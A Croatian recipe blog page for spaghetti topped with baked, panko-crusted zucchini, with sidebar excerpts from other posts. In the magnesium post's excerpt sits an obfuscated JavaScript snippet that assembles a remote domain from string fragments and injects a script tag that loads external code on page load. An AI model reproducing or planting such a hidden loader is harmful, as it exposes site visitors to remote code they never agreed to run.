ŠPAGETI S HRSKAVIM TIKVICAMA 🍝




Špageti s hrskavim tikvicama 



Špageti s hrskavim tikvicama iz pećnice savršen su spoj jednostavnih sastojaka i odličnog okusa. Tikvice su obložene hrskavom mješavinom panko mrvica, parmezana i začina, zatim zapečene do zlatne boje i poslužene na špagetima u umaku od rajčice. Završni sloj rastopljenog sira i svježi bosiljak čine ovo jelo pravim ljetnim favoritom.




Špageti s hrskavim tikvicama 


Sastojci:

Za tjesteninu

  • 225 g špageta
  • 450 ml gotovog umaka od rajčice za tjesteninu
  • 1 žlica maslinova ulja (po želji)
  • sol
  • svježe mljeveni crni papar

Za tikvice

  • 1 srednja tikvica (oko 250 g), narezana na ploške debljine oko 0,5 cm
  • 1 jaje
  • 60 g panko krušnih mrvica
  • 50 g sitno naribanog parmezana
  • 1 žlica naribane korice limuna
  • 1 čajna žličica talijanske mješavine začina
  • ½ čajne žličice češnjaka u prahu
  • sol
  • svježe mljeveni crni papar, prema ukusu
  • 60 g naribanog sira za gratiniranje (mozzarella, provolone ili drugi sir koji se dobro topi)
  • 10 g svježih listića bosiljka
  • maslinovo ulje, za pokapati



Priprema:

  1. Zagrijte pećnicu na 200 stupnjeva.
  2. Špagete skuhajte u posoljenoj vodi prema uputama na pakiranju, dok ne budu al dente. Ocijedite ih, pomiješajte s umakom od rajčice te po želji dodajte malo maslinova ulja, soli i papra.
  3. U većoj zdjeli razmutite jaje. Dodajte narezane tikvice i promiješajte kako bi svaka ploška bila prekrivena jajetom.
  4. Umiješajte panko mrvice, parmezan, limunovu koricu, talijanske začine, češnjak u prahu, sol i papar. Lagano promiješajte tako da se smjesa što bolje primi za tikvice.
  5. Tikvice rasporedite u jednom sloju na lim obložen papirom za pečenje. Oko njih rasporedite i mrvice koje su ostale u zdjeli jer će tijekom pečenja postati posebno hrskave. Sve lagano poprskajte maslinovim uljem.
  6. Pecite 15 do 20 minuta, odnosno dok tikvice i mrvice ne poprime lijepu zlatnosmeđu boju.
  7. Izvadite lim iz pećnice, pospite tikvice naribanim sirom i vratite ih u pećnicu na još 5 minuta, odnosno dok se sir ne otopi i lagano zapeče.
  8. Špagete rasporedite u duboke tanjure, preko njih stavite obilnu porciju hrskavih tikvica, pospite svježim bosiljkom i po želji dodajte nekoliko kapi maslinova ulja ili prstohvat čili pahuljica.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više